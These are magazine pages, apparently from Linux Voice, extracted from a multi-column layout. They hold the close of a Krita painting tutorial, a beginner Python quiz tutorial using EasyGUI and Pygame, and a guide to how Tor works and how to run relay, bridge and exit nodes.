                                                                                                                        KRITA TUTORIAL

3
    Experiment with brush models                              4
                                                                  Add a background
We’re going to do our drawing on a layer above the            With the sketch of the outlines created, we next
photo. Just click on the small ‘plus’ icon in the layer       wanted to create a background to give the image
Docker to create one. You also need the default ‘white’       some context. This is very simple and it allows you to
layer between the photo and our new transparent               mess around with the ‘wet’ brush models offered by
layer. Layers can be dragged and dropped to change            Krita. These are great fun, because by changing the
their order, and you can switch between making them           opacity levels, you can use the brush to paint colours            PRO TIP
visible by clicking on the small ‘eye’ icon to the right of   and to merge and blend colours.                               You’ll want to remember
                                                                                                                            the keyboard shortcuts for
a layer’s thumbnail. You should also change the                  To create the background, first switch to the photo        changing the brush size
opacity of the ‘white’ layer so that you can see through      and steal a colour from the background. Use the               – [ and ], as well as the
this to the image below. You’re going to become very          colour picker or press P, and select a colour before          brush’s opacity, I and O, as
                                                                                                                            you use these all the time.
familiar with layer shuffling, visibility checking and        switching back to a brush (press B). Bristles_wet is a
opacity changing, because you need to constantly              good brush for this, and using this in broad strokes is
adjust the layer order for each section of the drawing.       a good way of finding a style that works for you. You
   The see-through opacity of the white layer creates         should also get used to stealing colours from the
the digital equivalent to tracing paper, and our first        photo and painting them back into the same
step is to create a sketch of Richard’s outline in the        approximate locations, because that’s how we got the
transparent layer we just created.                            lighting and colours correct in our final image.




5
    Use only handful of colours                               6
                                                                  Refine your masterpiece
With the background created, add a new transparent            Adding the final detail is a great stress reliever – we
layer. We’re going to use this for the main body of our       found ourselves tinkering around for hours, selecting
drawing. By picking colours from the photo, switching         colours, using the colour palette to darken them, or
between layers and brushes, and by changing the               experimenting with other colours. We also added a
opacity, you should now attempt broadly paint the             light source to the background and added some of the
main blocks of colour into your image. You might              colours from the background into the main image for
want to do this with the photo layer directly beneath         added interest. The mixover_oil brush is perfect for
the new layer you created, at least initially. We found       this, because it changes direction depending on where
the best brushes for this step to be the various              the mouse is moving, adding colour in a way that feels
bristles modes and the mixover_dull brush. It’s also          similar to oil painting. It also enables you to create thin
important to try to fill in some of the sketch lines with     lines when moving in one direction, or a dapple effect
the colours of the shades on the photo. We quickly got        for hair when clicking randomly.
used to picking new colours and merging them                     When you’ve finished, your exported image may
together and using 100% opacity for the edges with a          need a little post processing, because the OpenGL
small brush. As you can see in the screenshots, we            acceleration isn’t 100% accurate when it comes to
didn’t get too worried about fine detail as long as we        colour reproduction. But we also found the PDF
got the thrust of the outline and colours correct.            output to be excellent.




                                                                  www.linuxvoice.com                                                                   77
     TUTORIAL PYTHON QUIZ



                              WRITE YOUR OWN
          TUTORIAL
                              PYTHON QUIZ
                              Les Pounder imports functions, defines variables and lists and
  LES POUNDER
                              hones his quizzing skills – all in Python!


                              Q
                                        uizzes are great fun – whether it's a friendly
 WHY DO THIS?
                                        game of Trivial Pursuit at Christmas or a pub
 • Program the lazy way, by             quiz down at the Dog & Duck, they're great
   re-using other peoples'
   code in your projects.     opportunities to show off your knowledge of trivia. In
 • Use lists, variables and   schools around the world, quizzes are used to test the
   functions to control a     learning of the students and to consolidate the
   logic flow.                learning experience.
 • Display your vast             Creating a quiz is a great way to learn more about
   quizzing knowledge to
   friends and family.        structure and control of a program. When writing the
                              code you need to understand how the program will
                              flow: if the player answers the question correctly they
                              progress through the game, but incorrect answers           Here's our finished quiz application, written in Python and
                              inhibit their progress. The use of programming logic       with nice clickable buttons courtesy of EasyGUI.
                              enables the creator to set the pace and the rules for
                              the game while testing their own programming skills.          When Idle first opens, it presents you with a shell
                                 For our game we will create a quiz with Python-         interface that looks very similar to the image bottom
                              related questions, and to enhance the game we are          right. A shell is an environment where you can
                              going to add two libraries to our code:                    prototype new ideas and interact with running
                                 EasyGUI is an easy way to create a graphical user       programs. The shell is not an ideal environment to
                                 interface (GUI) for our Python program.                 write a large program, as it normally works on a line by
                                 Pygame is a library full of great tools that can        line basis. If you wish to write much larger programs,
                                 enable you to build games and multimedia content.       which we do, then the best place to work is inside the
                                 For our game we will use Pygame to add music and        editor, and to use the editor all you need to do is go to
                                 sound effects to our project.                           File > New to open a fresh blank editor window.

                              Setup                                                      Plan your logic
                              This project can be created using any computer,            Let’s open our project in Idle, using the File > Open
                              including a Raspberry Pi. We're using Linux Mint 17,       dialog to navigate to the location where you extracted
                              which is based on Ubuntu. We'll also need the Idle         the project files, so open the file labelled LV_Quiz.py.
                              development environment, so to install each of the            Once again we will illustrate the intended actions of
                              packages open a terminal and type in the following.        the project via pseudo code, which is a tool to write
                              To install IDLE                                            the flow of a program in plain English. Here is how we
                              sudo apt-get install idle                                  envisage the program will flow.
                              To install EasyGUI                                          1 Intro asking the player if they would like to play

                              sudo apt-get install python-easygui                           the quiz
                              To install Pygame                                           2 If the player wishes to play

                              sudo apt-get install python-pygame                          3 Reset the score to zero

                                Once these have been installed, you will need a           4 Tell the player their current score

                              copy of the project files from https://github.com/          5 Ask the first question

                              lesp/LinuxVoice_PythonQuiz. You can also download           6 If the player answers correctly

                              a Zip archive containing all of the project files from      7 Add 1 to their score

                              https://github.com/lesp/LinuxVoice_PythonQuiz/              8 Play jingle

                              archive/master.zip.                                         9 Show a dialog box congratulating the player and

                                Idle is an easy-to-use Python editor with an                their current score
                              uncluttered and minimalistic interface, enabling you       10 Else if the player answers incorrectly

                              concentrate on writing the code rather than being          11 Play jingle

                              distracted by fripperies. Idle comes in two versions,      12 Show a dialog box advising the player of a wrong

                              one covering 2.x and the 3.x series of Python. For this       answer
                              tutorial I'm using the version for 2.x.                    13 Repeat question twice more to allow player to




78                                                                  www.linuxvoice.com
                                                                                                        PYTHON QUIZ TUTORIAL

   answer correctly
14 The question structure continues for three more
   questions before moving on to the end sequence.
15 Play the intro music

16 if the players score is less than , show a dialog box

   that commiserates the player and shows their final
   score.
Else
17 Show a dialog box that congratulates the player and

   shows their final score.
   In order to better understand the project we’ll break
the code down into sections and step through each
section, so let's take a closer look at the code.

Imports
In Python you can easily add extra functionality to any
project via the use of libraries. Libraries come in all
shapes and sizes, from the simplest, time (which
enables you to import various time and date
capabilities into your program) to the most complex,
such as numpy and scipy which are used by NASA
(and which we used in LV003 to hunt for comets –
www.linuxvoice.com/comet-python).                           common with Raspberry Pi-based projects, as the           EasyGUI has an expansive
   As with many other Python projects, we first have        Python library RPi.GPIO is rather awkward to type and     array of many different
to import a few extra libraries to further enhance our      is generally renamed to GPIO or io.                       dialog and menu types.
                                                                                                                      The egdemo() function
project. For this project we will import three libraries,
                                                                                                                      does a great job of
and to do that we use the following code, which is          Starting Pygame                                           showing them all.
included at the top of our project.                         Pygame is a library full of great tools to create games
from easygui import *                                       using Python. With Pygame you can create sprites,
import time                                                 characters or objects in the game world, and import
import pygame                                               video, audio and images into your projects. Entire
  As you can see, we've imported libraries into our         games can be created using this library, for example
code in two different ways. The most common is              the website https://pyweek.org showcases many
used twice and that is:                                     games made in Python including a rather good
import <name of library>                                    version of the original Super Mario Bros.
   In order to use any of the functions contained inside       For our quiz we're using the Pygame library to add
of a library imported in this manner we must call the       music and sound effects when certain conditions are
library and the function by name. For example, if we        met. These audio-based methods of output add a rich
want to use the sleep function from the time library,       atmosphere to a game and provide audio stimulus to
we would do that like this                                  the player – think of the jingle you get when you
time.sleep(1)                                               collect coins in Mario or rings with Sonic.
   This is the most traditional way of importing               We imported the Pygame library earlier but now we
libraries and is a great practice to follow, but there is   need to start it. To do that you need to initialise the
another way, and you can see that we have imported          library like so:
the EasyGUI library in a different way:                     pygame.init()
from easygui import *                                         We then need to initialise the mixer, which controls
  This changes the previously used method of using          audio in Pygame.
functions from a library. Using this method to import       pygame.mixer.init()
the library means that we can omit the leading library         This is all the setup that Pygame requires at this
name and just call the function.                            time. Later in our project we will set up a series of
msgbox(arguments for this function)                         functions that will handle the playback of audio.
This can be applied to many libraries, and is really
useful when working with those new to Python.
   There's another method of importing a library, which
is to rename a library so that it is easier to use.
import time as t
                                                                                                                      As well as the shell, Idle
                                                                                                                      has a power editor that
t.sleep(1)                                                                                                            is more than capable
   As you can see, we have renamed the time library to                                                                of handling any size of
t, which makes it quicker to use. This practice is quite                                                              project.



                                                              www.linuxvoice.com                                                                   79
     TUTORIAL PYTHON QUIZ

                                                                                        intro=pygame.mixer.music.load('intro.mp3')
                     Comparison operators                                               pygame.mixer.music.play(1)
                                                                                         We start with defining the name of the function; in
                     One of the key parts of a quiz is making sure that the player
                     has the right answer, and the mechanism to do that is by
                                                                                      this example it's intro(). Next we create a variable
                     comparing the answer given to the expected answer. Below         called intro, which will contain the output from loading
                     is a table of the most common comparison operators in            the mp3 intro music into Pygame. Finally we instruct
                     Python, with an example of how to use each of them in your       Pygame to play the music that has been queued into
                     next project.                                                    the mixer, but to only play the music once. Functions
                     Operator      Description               Example                  are very powerful and can be expanded into much
                                                                                      more versatile tools.
                     ==            Checks if the value       q1 == “Float”
                                   of two operands
                                   are equal or not;                                  Variables
                                   if values are not                                  Variables are an important part of many programming
                                   equal then condition                               languages, and Python is no exception. Variables are a
                                   becomes true.                                      temporary method of data storage, and can store
                     !=            Checks if the value       if game_start != "No":   many different types of data for reuse in a project. For
                                   of two operands                                    example, we can use a temperature sensor attached
                                   are equal or not;
                                                                                      to a Raspberry Pi to read the temperature and store
                                   if values are not
                                   equal, then condition                              the value in a variable, or we can store a player's
                                   becomes true.                                      name. Variables are flexible enough to store anything.
                                                                                      In our project we use a few different variables to
                     >             Checks if the value       if score > 3:
                                   of the left operand                                contain the player's score and location of external
                                   is greater than the                                image files – here are a few examples.
                                   value of the right                                 score = 0
                                   operand; if yes, the                               logo = "./images/masthead.gif"
                                   condition becomes
                                                                                      start_title = "Welcome to Linux Voice Python Quiz"
                                   true.
                                                                                         Firstly, our score variable is used to track the
                     <             Checks if the value       if score < 1:            progress of the player and is updated each time
                                   of the left operand is
                                                                                      the player answers a question correctly. logo and
                                   less than the value
                                   of the right operand;                              start_title are two variables that store a string of text:
                                   if yes, the condition                              in logo's case the location of the Linux Voice logo for
                                   becomes true.                                      the intro dialog box, and for start_title the text that is
                     >=            Checks if the value       if score >= 2:           displayed at the top of the intro dialog box.
                                   of the left operand
                                   is greater than or                                 Lists
                                   equal to the value of                              Another method of storing data in our Python project
                                   the right operand;
                                                                                      is to use a list. A list is also known as an array in other
                                   if yes, the condition
                                   becomes true.                                      programming languages, and by using a list we can
                                                                                      store lots of individual items and use them in our
                     <=            Checks if the value       if score <= 3:
                                                                                      code. In our code we use a list to contain the possible
                                   of the left operand is
                                   less than or equal to                              answers to questions – for example, we use a list
                                   the value of the right                             called play to contain the answers “Yes” and “No”
                                   operand; if yes, the                               play = ["Yes","No"]
                                   condition becomes                                    All list contents are indexed, so individual items can
                                   true.
                                                                                      be recalled from the list. The first item in a list is

                  Pygame is an impressive and expansive library and in
                  this tutorial we haven’t even scratched the surface of
                  what it can do. If you would like to know more about
                  what Pygame can do (and we strongly reccomend it)
                  head over to their website www.pygame.org.

                  Functions
                  For our quiz we use three functions: intro(), win() and
                  lose(). These three functions were created to handle
                  playback of audio at key points in the game.
                    But what is a function? Well, a function is a way of
                  executing a block of program code just by calling its
                  name. Let's take a look at one of our functions                     Get the question right and the quiz plays a sound, adds 1
                  def intro():                                                        to your score and moves on to the next question.



80                                                          www.linuxvoice.com
                                                                                                                         PYTHON QUIZ TUTORIAL

always index 0. For example, if we wished to print the
first item from the play list, which is “Yes”, then I would             Expansion activity
do the following.                                                       Our quiz is playable, but the code is quite          This will then print the answer to the
print(play[0])                                                          large, with lots of repetition. How can we        equation 2 * 3. For our project we can create
                                                                        enhance our code so that we have a much           a function for each of the different types of
                                                                        smaller project? The answer may be to use a       EasyGUI elements used, and then use the
EasyGUI guide
                                                                        function with arguments.                          arguments to dictate what is displayed.
Easygui is a simple method of generating a graphical                       Earlier we used functions to control           def msg(title,msg,image):
user interface (GUI). EasyGUI was created by Steve                      the playback of audio in the quiz. These            msgbox(title=title,msg=msg,image=image)
Ferg, who left the project in March 2013. It is now                     functions took no arguments and simply               With this function created we can now
under the maintenance of Alexander Zawadzki, who is                     ran when executed. A function that takes          test to see if it works.
                                                                        an argument expects to see one or more            msg(“This is the title”,”This is a message to the
keeping the project alive, but the codebase is frozen
                                                                        additional pieces of information before it        player”,”./images/image.gif”)
with little chance of upgrade. Don’t let this put you off               runs. Here is a basic example of defining a          The above code will set the title to be
though – it's exceptionally easy to use.                                function that takes an argument.                  “This is the title” with a message reading
   Using EasyGUI you can easily add a GUI to most                       def func(x,y):                                    “This is a message to the player” and the
Python projects. If you would like to see the full library                print(x*y)                                      location of the image is used to grab the
                                                                           To use this function, we call the function     image and display it in the dialog box.
of GUI elements you can use the inbuilt demo
                                                                        by its name and then substitute the x,y with         So using this new function syntax, do
function, remembering to import the library to start                    the values that we wish to use, as so.            you think that you could make a function for
with easygui.egdemo().                                                  func(2,3)                                         each of the dialogs made in our quiz?
   For this project we're using three different types of
GUI elements.
  Buttonbox To ask if the player would like to play.                  the variable is q1). Here is the code
  Choicebox To ask questions and capture answers                      #Question 1
  from the player.                                                      for i in range(0,3):
  Msgbox To update the player on their score.                             msg = "What type of number is 1.4?"
   EasyGUI has an easy-to-learn syntax which is                           title = "Question 1"
common across all of the many different types of GUI                      q1choices = ["Integer","Float","Very small"]
elements it provides. Here for example is the syntax to                   q1 = choicebox(msg,title,q1choices)
create a message box.                                                   Now that we have asked the question we need to
msgbox(title=”Title of dialog box”,msg=”Message to the                use conditional logic to compare the answer given to
player”,image=”Location of the GIF”)                                  the correct answer. To do this we compare the
  Providing all of this information each time can be                  variable q1 with the hard-coded answer “Float”. If the
long winded, so to make things a little easier we have                answer given matches the expected result then the
created variables that store the various details for                  win() function is called, which plays the audio. We
each question.                                                        then increment the score by one point. Finally we set
                                                                      up the variables necessary for our GUI dialog box.
Question structure                                                    Once these steps are complete we break this loop and
Each question is inside a loop that will only repeat if               move on to question 2.
the player answers the question incorrectly, and the                       if q1 == "Float":
player will only have three chances to answer each                            win()
question before they are automatically progressed to                          score = score + 1
the next question. Using a for loop with a range of 0 to                      correct = ("Well done you got it right. Your score is
3 we can have the question repeated three times                       "+str(score))
unless the loop is broken by a correct answer.                                image = "./images/tick.gif"
   Under the for loop you can see the question being                          msgbox(title="CORRECT",image=image,msg=correct)
formed using variables such as msg and title, and                             break
there's also a list labelled q1choices, which contains                  But let's say that our player gets this question
the potential answers. All of these variables and the                 wrong – in this scenario we would move to the else
list are then used to create the contents of our first                section of our logic. This triggers our lose() function to
question. To ask the question we first create a variable              play audio and then creates two variables that will
to store the answer chosen by the player (in this case                contain the contents of a dialog box informing the
                                                                      player that they chose the wrong answer.
                                                                        else:
  Project files
                                                                          lose()
  All of the files used in these projects are available via my
                                                                          wrong = "I'm sorry that's the wrong answer"
  GitHub repository. GitHub is a marvellous way of storing
  and collaborating on code projects. You can find my GitHub              image = "./images/cross.gif"
  repo at https://github.com/lesp/LinuxVoice_Pibrella.                    msgbox(title="Wrong Answer",image=image,msg=wrong)
      If you're not a Github user, don't worry you can still
  obtain a zip file that contains all of the project files. The Zip    Les Pounder is a maker and hacker specialising in the
  file can be found at https://github.com/lesp/LinuxVoice_             Raspberry Pi and Arduino. Les travels the UK training
  Pibrella/archive/master.zip.                                         teachers in the new computing curriculum and Raspberry Pi.




                                                                        www.linuxvoice.com                                                                                    81
     TUTORIAL TOR



                               TOR: ENCRYPT YOUR
          TUTORIAL
                               INTERNET TRAFFIC
                               Discover how this anonymity network is helping activists around
   BEN EVERARD
                               the globe, and run your own node to contribute back.


                               I
                                     magine you’re a blogger complaining about the
 WHY DO THIS?                        actions of your repressive government. Or
 • Keep yourself safe                perhaps you’ve discovered a load of documents
   online                      that incriminate some powerful people, and you want
 • Help whistle-blowers        to get them out to a friendly journalist. In both cases
   and activists stay          you’d be crazy to use the open internet – it’s about as
   beyond the reach of
   those who would silence     secure as the writing on the back of a postcard, and
   them                        you’d run the risk of a one-way trip to Guantánamo
 • Bypass censorship           Bay, or worse. What you’d need is a secure internet
                               anonymising service – like Tor.
                                  Tor is a global network of computers run by
                               volunteers to provide online anonymity to anyone who
                               needs it. The network is based on the principal of        The Atlas website can give you lots of graphs on how much
                               onion routing (the name Tor simply stands for ‘The        data is flowing through individual nodes. Here’s a week’s
                               Onion Router’). This means that a connection goes         traffic through the Linux Voice exit node.
                               through several encrypted layers, and the router at
                               each layer only knows what is essential to perform the      Anyone monitoring your internet connection can
                               work at that layer.                                         only see you exchanging encrypted information
                                  When you connect to the Tor network the following        with the guard relay.
                               process occurs: the client downloads a list of all          The guard relay only knows your IP address and
                               available Tor relays and selects three: one guard, one      who the middle relay is.
                               middle and one exit.                                        The middle relay only knows the guard relay and the
                                  If you then send information through the Tor             exit relay, but not who you are or what website
                               network onto the internet, it’s first encrypted so that     you’re requesting.
                               only the exit relay can see what the website you’re         The exit node knows what you’re requesting off the
Arm – the Anonymising
                               requesting is. Then this already encrypted layer is         internet, and who the middle relay is, but not who
Relay Monitor – provides
                               further encrypted so that only the middle relay knows       you are or who the guard relay is.
a Curses-based interface
that works over SSH to         that it should be sent to the exit relay. This doubly-      This process completely separates the content
give you all the information   encrypted layer is encrypted so that only the guard       you’re requesting from anything that can be used to
you need to keep your Tor      relay can see who the middle relay is. All this           establish your identity.
node healthy.                  encryption is done before it leaves your computer, so:      The Tor team has done excellent work to make sure
                                                                                         that it’s easy to use, because the people who need it
                                                                                         most (activists and people persecuted by their
                                                                                         governments) may not be tech-savvy. All you need to
                                                                                         do is download the Tor Browser Bundle from
                                                                                         www.torproject.org, unzip it, and run the start-tor-
                                                                                         browser script in the unzipped directory. This will
                                                                                         connect to Tor and open a web browser.
                                                                                           Another option is to run the Tails live CD. This can
                                                                                         be burned onto a DVD or USB stick and provides a
                                                                                         secure Tor environment for web browsing, instant
                                                                                         messaging, and other uses.
                                                                                           It’s also possible to stay anonymous on the go
                                                                                         using Orbot, an app for Android that will link your
                                                                                         phone or tablet to the Tor network.

                                                                                         Running the network
                                                                                         For the Tor network to function, it needs people to run
                                                                                         the relays that pass the data around the network and



82                                                            www.linuxvoice.com
                                                                                                                                        TOR TUTORIAL

onto the internet. These aren’t run by a centralised
organisation (since if one organisation controlled a                  Tor and the law
significant number of the relays, it would be able to
                                                                      Although there have been several legal            node, he was prosecuted for running a Tor
look at the information in several of these and spy on                controversies surrounding Tor, to our             exit node and using it to help people access
users), but by a number of individuals and projects                   knowledge no one has been convicted for           horrific images.
around the world.                                                     running a Tor exit node. As we’re going to           The Tor project is also being sued in
   Linux Voice, for example, currently runs two, the first            press, William Webber has just been               America for allegedly assisting a website
                                                                      convicted in Austria for abetting access to       accused of purveying “revenge porn”.
one being a fairly modest exit node called Tor321. You
                                                                      pornographic images of minors after               However, this case seems to be built entirely
can see the current status of the node at                             someone downloaded such images through            on a lawyer’s misunderstanding of what Tor
http://tinyurl.com/lvtornode. We also run a bridge                    their exit node.                                  actually is.
node (for details see the ‘A Network Under Attack’                       However, the prosecution showed                   This case is being brought against the Tor
boxout on page 85).                                                   transcripts of conversations where Webber         Project, so it shouldn’t have any impact on
                                                                      was encouraging the use of Tor for such           Tor node operators.
   Running a Tor node is simply a case of installing the
                                                                      things, and offering to assist. In other words,      For more information on miss use of the
tor program and setting the appropriate options in the                he wasn’t convicted for running a Tor exit        Tor network, see the box out on abuse.
torrc file. However, before you start that, you should
understand the implications of the options you select.
   The problem revolves around the fact that by                     should get legal advice before running a Tor node of
adding your computer to the Tor network, you’re                     any sort).
allowing other people to send data through your                        Some people who use the Hulu video streaming
machine. This data could be anything from someone                   service have reported problems with their IP address
shopping on eBay to Edward Snowden                                  being blocked when they started running Tor nodes,
communicating with journalists in America to                        though this has been quickly dealt with by the Hulu
someone downloading illegal content (whatever that                  support team.
means in your country).                                                Provided you have sufficient bandwidth to spare, it’s
                                                                    perfectly possible to run a non-exit relay or bridge on a
Diplomatic immunity                                                 home internet connection. The easiest way to do this
This could attract the attention of your ISP and could              is using the Vidalia graphical client. You can find this
cause you to get into trouble. However, this will only              in most distro’s repositories (if you’re using Ubuntu,
be visible to your ISP if you’re an exit node. If you’re            you should add the Tor project’s repository by
one of the first two hops on the Tor network, all the               following the instructions at https://www.torproject.
data flowing into and out of your computer on the Tor               org/docs/debian.html to make sure you get the most
network will be encrypted so that your ISP (or you for              up-to-date version of Tor).
that matter) can’t see what it is. This means there                    For example, in Debian, you just need to run
should be no legal consequences for people running                  sudo apt-get install vidalia
non-exit Tor nodes in most countries (should you                    Then restart the computer to pick up the new user
happen to live in a country with restrictive laws                   settings, and run vidalia. This will open the graphical
governing internet usage such as China or Iran, you                 client and connect you to the Tor network. Click on Set
                                                                    Up A Relay, then check the box marked Relay Traffic
                                                                    Inside The Tor Network (Non-Exit Relay). In the
  Strength through diversity
                                                                    options, you can name your relay, add contact
  Diversity is one of the key things that helps keep the Tor        information, and limit the speed if you wish, but these
  network anonymous. That means many things. It means               are optional. Click on OK to start your relay running.
  that a diverse spread of relays is important, because by             In theory, you can run an exit relay from your home
  spreading them out across many different networks in
                                                                    internet connection, and a few brave souls do, but
  many different countries, it becomes much harder to run
  timing attacks. Similarly, diversity among exit nodes is also     most people shy away from letting unregulated traffic
  important because this means that anyone trying to listen         into their home as it can cause problems.
  in on all Tor traffic has to listen in more places. A diversity      The majority of people who run exit nodes do so on
  of bridge nodes is absolutely critical to keeping the Tor         a server running in a data centre. However, not all data
  network open to people inside restrictive countries.
                                                                    centres are happy with people running Tor exit nodes
      These are all quite obvious areas where diversity helps
  the network, but less obviously, it’s also important to have a    on their machines. If you’re interested in running an
  diversity of users. If, for example, only whistle-blowers used    exit node, the first step is usually to find a place that’s
  the Tor network, then there would still be some anonymity,        willing to host it. The Tor wiki provides a list of hosting
  but any website operators would know that any connection          providers that people have had good and bad service
  coming from a Tor exit node was from a whistle-blower.
                                                                    at (https://trac.torproject.org/projects/tor/wiki/doc/
  Only by getting a wide range of users on the network can
  it offer true anonymity to its users. Because of this, you        GoodBadISPs), however, since diversity in all aspects
  shouldn’t shy away from using the Tor network for fear            is good for the Tor network, you may want to consider
  of using up resources that other people may need more.            emailing a few hosts and asking if they’ll consider
  The sheer act of using it actually makes it more secure for       using a Tor exit node.
  everyone (although you shouldn’t run high-bandwidth traffic
                                                                       You can rent a VPS (a Virtual Private Server – a
  through the Tor network unless necessary).
                                                                    virtualised environment on a shared server) to host



                                                                      www.linuxvoice.com                                                                                83
     TUTORIAL TOR

                                                                                               From a technical perspective, the only difference
                                                                                            between running an exit node and a relay is the exit
                                                                                            policy listed in the /etc/tor/torrc file, so we’ll start by
                                                                                            looking at this. By default, the exit policy will allow
                                                                                            most internet traffic through, but block file-sharing
                                                                                            ports and a few ports used by spammers. This will
                                                                                            both reduce the number of complaints you receive,
                                                                                            and help make sure that your bandwidth is helping
                                                                                            web traffic. Our Linux Voice exit node uses this policy.
                                                                                               You can create a custom policy to allow or disallow
                                                                                            any ports you like. A more liberal exit policy (stolen
                                                                                            from the Destiny exit node) is:
                                                                                            reject 0.0.0.0/8:*
                                                                                            reject 169.254.0.0/16:*
                                                                                            reject 127.0.0.0/8:*
                                                                                            reject 192.168.0.0/16:*
                                                                                            reject 10.0.0.0/8:*
The Tails distro provides
                               your Tor node from just a couple of pounds per               reject 172.16.0.0/12:*
more than just web
browsing: the Pidgin client    month, but in general, you get what you pay for, and         reject 94.242.246.23:*
is also set up with Tor, to    dedicated servers usually come with much better              reject *:25
provide anonymous instant      internet connections, though this does vary from             reject *:587
messaging.                     provider to provider. Ultra-low cost ones are likely to be   reject *:465
                               low bandwidth (even if they are unlimited traffic), and      accept *:*
                               may not be stable. It’s hard to give a definitive best          This blocks access to any of the local network IP
                               option, but in general you don’t need much hard drive        addresses (otherwise a malicious attacker could use
                               space, and only modest memory and CPU (unless                your exit node to attack machines on the same local
                               you’re going to run a really fast relay). In most cases,     area network), and ports 25, 587 and 465. These are
                               the bottleneck will be network speed. If you’re unsure       the ports used by SMTP mail servers. Blocking these
                               about a particular option, the best bet is to try it out.    won’t stop a mail client communicating with a server,
                               Most hosts provide hosting by the month or                   because that uses a different protocol; but it will stop
                               sometimes less, so if you find your particular setup         a computer acting as a mail server and tunnelling
                               needs a bit more oomph, or is costing too much, you          through your exit node – so basically, it’ll stop email
                               can usually switch to a new option.                          spammers from using your node. Exit policies are
                                                                                            public, so you can find out what other people are
                               Command line setup                                           using by looking up nodes on https://atlas.torproject.
                               The biggest difference between setting up a Tor node         org or http://torstatus.blutmagie.de.
If you’ve used Tor
                               on a server compared with a desktop is that you don’t           The final line is there to tell it to accept anything not
previously, you may
remember Vidalia as part of    usually want to use the graphical setup tools. There’s       rejected by the previous lines (non-exit nodes have a
the Tor browser bundle, but    nothing to stop you doing this via VNC or an                 similar line that rejects everything).
it now needs to be installed   equivalent, but there are command line tools that do            Other than that, it’s useful to give your node a name
separately.                    the job better in this case.                                 and add a contact email address. Neither of these are
                                                                                            essential, but they help with the smooth running of the
                                                                                            network, and make it easier for you to check what’s
                                                                                            going on. An email address will enable the Tor project
                                                                                            to contact you if there’s a problem.


                                                                                              Donating

                                                                                              If you don’t have the time or technical ability to run a
                                                                                              Tor node, but still want to contribute financially, you can
                                                                                              donate directly to the Tor project itself and help support
                                                                                              development via www.torproject.org/donate/donate.html.
                                                                                              en. Alternatively, you can donate to an organisation that
                                                                                              runs Tor nodes, such as www.torservers.net.
                                                                                                  At Linux Voice, we’re currently running a couple of Tor
                                                                                              nodes, and would like to upgrade these to handle more
                                                                                              traffic. We’ve pledged to put 50% of our profits towards
                                                                                              good causes, and think that the Tor network is just such a
                                                                                              good cause. Later in the year, we’ll be asking subscribers
                                                                                              to vote on where this money should go, and increasing our
                                                                                              support of the Tor network will be one option.




84                                                             www.linuxvoice.com
                                                                                                                                                   TOR TUTORIAL


  A network under attack
  Not everyone is happy with the Tor network providing             Another approach that governments have taken            network. For example, there’s the Flash proxy
  people with anonymous and uncensored access to                to censoring Tor is through Deep Packet Inspection         (implemented in HTML5 rather than Flash). This
  the internet. Some governments (such as those in              (DPI). This means that instead of finding Tor              is a way of starting a Tor bridge from inside a web
  China and Iran) have attempted to block access to             packets by IP address, they look for data within the       browser, so it can be run on a far wider range of
  Tor from within their countries.                              TCP/IP stream that signals that it’s Tor traffic. Tor      computers. In turn this means that the supply of
      The simplest way of blocking access is to get a           attempts to disguise itself by looking as much like        IP addresses is much larger, and changes far more
  list of all Tor relays, and stop any packets heading          Firefox communicating with an Apache TLS session           rapidly than with traditional bridges, so it becomes
  for these IP addresses. When governments realised             as possible. This disguise isn’t perfect, and there is     harder to block.
  that they could block access to Tor in this way,              a bit of a cat-and-mouse game going between the               Other pluggable transport modules in the works
  the Tor project introduced bridge relays. These are           Tor project and the western companies that sell            include ones that try to disguise the traffic as a
  entry points to the Tor network that aren’t listed in         DPI equipment to repressive governments. When a            Skype call, and ways of making the traffic look like
  the main Tor relay directory. They’re split up into           differentiator is found, a government can block Tor,       an HTTP stream with HTML, JavaScript, etc. As
  groups: some of these are available on the internet,          then a software update improves the disguise, and          more of these become available, it’ll become harder
  but only a few at a time; some of these are available         service is restored.                                       and harder to block them all.
  via email; others are distributed via social networks                                                                       Not all attacks focus on trying to block Tor. In an
  and through trusted contacts.                                 Hiding in plain sight                                      attack widely thought to be performed by the FBI
      Governments with large amounts of computer                Of course, there’s no reason a government can’t            (although not yet confirmed), malicious code was
  power at their disposal have been able to discover            simply block everything that looks like a secure           injected into a hidden service that managed to break
  a large number of these bridges. Because of this,             Firefox communication with an Apache server –              out of the Tor browser and get the computer to
  it’s important for there to be a considerable ‘churn’.        except for the social consequences. As we’ve seen          reveal its actual IP address, and therefore location.
  That means that if you’re thinking of setting up              in Egypt and Turkey, such obvious censorship can           The solution to this is simply better software, and
  a non-exit Tor relay, a bridge is a great place to            lead to demonstrations and more.                           much work has been done on browser security in
  start. It’s also possible to run a bridge for just a few         The next step from the Tor project to make it           recent years. Currently the Tor browser is based
  dollars a month by taking advantage of Amazon’s               harder to block is pluggable transport modules.            on Firefox – there is theoretically better security
  free-usage tier in EC2 (see https://cloud.torproject.         These have created a framework that enables a              in Chrome, although there are some technical
  org for details on setting one up).                           variety of different ways to connect to the Tor            challenges to overcome before this can be used.



  It takes a little while for your node to be picked up by                                                   Directly connecting users from Iraq
the network, but when it is, you’ll be able to find it by
searching for its name on https://atlas.torproject.org.                       10000
This will also give details about how it’s running.
There’s more guidance on running an exit node at                               8000
https://trac.torproject.org/projects/tor/wiki/doc/
TorExitGuidelines.                                                             6000
  The best way to keep an eye on a node running
remotely is with the Arm command line tool. If you’re                          4000
using Debian, you can get it with:
sudo apt-get install tor-arm                                                   2000
   It uses the Curses toolkit, so you can run it in an SSH
session. Arm has five screens: Graph, Connections,                                 0
Configuration, Torrc, and Interpretor. We’ve found it a
                                                                                                April 2014                 May 2014                      June 2014
bit easier to do the configuration outside of Arm, but
                                                                                                   The Tor Project – https://metrics.torproject.org
the Graph and Connections screens are useful for
                                                                                                                                                    The Tor project is
                                                                           making sure everything is working properly. With a bit
  Abuse                                                                                                                                             constantly scanning for
                                                                           of luck, you should soon see traffic flowing through                     censorship events. This
  Rather predictably, the Tor network is abused by some people             your node (it can take a few hours). After your node’s                   graph shows the number
  who use it to conduct illicit activities. This is unfortunate, but       been live for a little while (around a week or two), you                 of users connecting from
  unavoidable without compromising the core values of open                 will be awarded a stable flag, which is an indication                    Iraq in June 2014 during
  access and anonymity. However, this abuse makes up a tiny
                                                                           that your node can be trusted to stay running, and not                   an Islamist insurgency.
  fraction of Tor traffic (one common estimation reportedly
  based on an unpublished study by the US Department of                    break down in the middle of a communication.
  Justice puts it at 3% of Tor traffic).                                      That’s all you need to start running your own Tor
     The Tor network also plays a part in fighting cyber                   node. If you haven’t run a server before, it’s a gentle
